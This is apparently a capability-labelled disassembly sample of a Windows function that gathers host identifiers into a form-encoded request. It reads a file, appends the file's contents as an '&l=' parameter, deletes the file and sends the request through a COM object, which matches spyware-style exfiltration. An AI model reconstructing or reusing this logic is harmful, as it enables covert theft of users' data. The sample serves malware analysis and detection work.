Function at 0x10007718
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x474
push esi
xor esi, esi
cmp dword [ebp + 8], esi
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0xc], esi
jne 0x1000773e
mov dword [0x1000d410], 1
jmp 0x10007748
mov dword [0x1000d414], 1
lea eax, [ebp - 0xc]
push eax
push 0x1000bb9c
push 0x15
push esi
push 0x1000bb6c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0xc]
cmp eax, esi
je 0x10007abc
cmp dword [0x1000d400], esi
mov ecx, dword [eax]
je 0x10007778
push 0xffffffffffffffff
jmp 0x10007779
push esi
push eax
call dword [ecx + 0xa4]
cmp dword [ebp + 8], esi
mov ecx, dword [ebp - 4]
push dword [ebp - 0xc]
je 0x10007792
call fcn.10005deb
jmp 0x10007797
call fcn.10005ddd
mov eax, dword [0x1000d434]
cmp eax, esi
je 0x10007abc
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call edi
test eax, eax
jle 0x10007abb
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
push ebx
lea eax, [ebp - 0x64]
push eax
call esi
lea eax, [ebp - 0x54]
push eax
call esi
lea eax, [ebp - 0x74]
push eax
call esi
lea eax, [ebp - 0x44]
push eax
call esi
push 0xe
lea ecx, [ebp - 0x64]
call fcn.1000626a
mov ebx, 0x1000b8a8
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.10004bbb
lea eax, [ebp - 0x44]
push str.Content_Type:_application_x_www_form_urlencoded_r_n
push eax
call fcn.10004bbb
push 0x8000
call fcn.10009dc2
mov ecx, dword [0x1000d3f4]
add esp, 0x14
mov esi, 0x1000b864
push esi
push ebx
push 0x1000b818
mov dword [ebp - 8], eax
call fcn.10009215
and byte [ebp - 0x474], 0
push eax
mov dword [ebp - 0x14], eax
call edi
cmp eax, 0x400
mov dword [ebp - 0x18], eax
jae 0x10007858
push eax
push dword [ebp - 0x14]
lea eax, [ebp - 0x474]
push eax
call fcn.10009832
mov eax, dword [ebp - 0x18]
add esp, 0xc
and byte [ebp + eax - 0x474], 0
mov ecx, dword [0x1000d3ec]
push esi
push 0
push 0x1000b860
call fcn.1000927d
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.10004e5e
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.10004e23
call fcn.10005a80
mov dword [ebp - 0x20], eax
call fcn.10005a77
and dword [ebp - 4], 0
mov dword [ebp - 0x24], eax
call fcn.10004a8a
test eax, eax
je 0x100078ba
mov dword [ebp - 4], 1
mov ecx, dword [0x1000d3f0]
push esi
push 0
push 0x1000b860
call fcn.1000927d
push eax
push dword [ebp - 0x18]
lea eax, [ebp - 0x474]
push dword [ebp - 0x14]
push dword [ebp - 0x34]
push dword [ebp - 4]
push dword [ebp - 0x24]
push dword [ebp - 0x20]
push dword [ebp - 0x30]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push 0x1000d3c8
push dword [ebp - 0x10]
push dword [0x1000d3c0]
push eax
push str.u_spv_ldiv_ldp_sb1_ldb2_ldb3_ldlg_ldco_ldm_dv1_ldv2_ldv3_ldmv_ld
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x1000d3f8]
add esp, 0x40
push esi
push ebx
push 0x1000b7dc
call fcn.10009215
mov ebx, eax
push ebx
call edi
test eax, eax
je 0x10007956
push dword [ebp - 8]
call edi
add eax, dword [ebp - 8]
push ebx
mov byte [eax], 0x26
inc eax
mov byte [eax], 0x71
inc eax
mov byte [eax], 0x65
inc eax
mov byte [eax], 0x66
inc eax
mov byte [eax], 0x3d
inc eax
push 0x1000b978
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x10007a21
mov ebx, 0x3e80
push ebx
call fcn.10009dc2
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push eax
mov eax, dword [0x1000d3f4]
push SysReAllocString
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x10007a12
push 0
lea ecx, [ebp + 8]
push ecx
push ebx
mov ebx, dword [ebp - 4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100079e3
cmp dword [ebp + 8], 0
je 0x100079e3
push dword [ebp - 8]
call edi
add eax, dword [ebp - 8]
xor edi, edi
mov byte [eax], 0x26
inc eax
mov byte [eax], 0x6c
inc eax
mov byte [eax], 0x3d
inc eax
cmp dword [ebp + 8], edi
jbe 0x100079e0
movsx ecx, byte [edi + ebx]
push ecx
push eax
call fcn.10005728
inc edi
cmp edi, dword [ebp + 8]
pop ecx
pop ecx
jb 0x100079cd
and byte [eax], 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1000d3f4]
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x1000d3f4]
push esi
lea eax, [ebp - 0x474]
push eax
push 0x1000b818
call fcn.100092c1
cmp dword [ebp - 4], 0
je 0x10007a21
push dword [ebp - 4]
call fcn.10009dae
pop ecx
push dword [ebp - 8]
lea eax, [ebp - 0x74]
push eax
call fcn.100059ab
test eax, eax
pop ecx
pop ecx
pop ebx
je 0x10007a66
mov eax, dword [ebp - 0xc]
mov esi, dword [eax]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [0x1000d434]
call fcn.10009435
pop ecx
push eax
push dword [ebp - 0xc]
call dword [esi + 0x2c]
xor ecx, ecx
test eax, eax
setge cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 8], 0
je 0x10007a75
push dword [ebp - 8]
call fcn.10009dae
pop ecx
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x44]
push eax
call esi
test eax, eax
jge 0x10007a8b
push eax
call fcn.10009395
lea eax, [ebp - 0x74]
push eax
call esi
test eax, eax
jge 0x10007a9b
push eax
call fcn.10009395
lea eax, [ebp - 0x54]
push eax
call esi
test eax, eax
jge 0x10007aab
push eax
call fcn.10009395
lea eax, [ebp - 0x64]
push eax
call esi
test eax, eax
jge 0x10007abb
push eax
call fcn.10009395
pop edi
mov eax, dword [ebp - 0x1c]
pop esi
leave
ret 4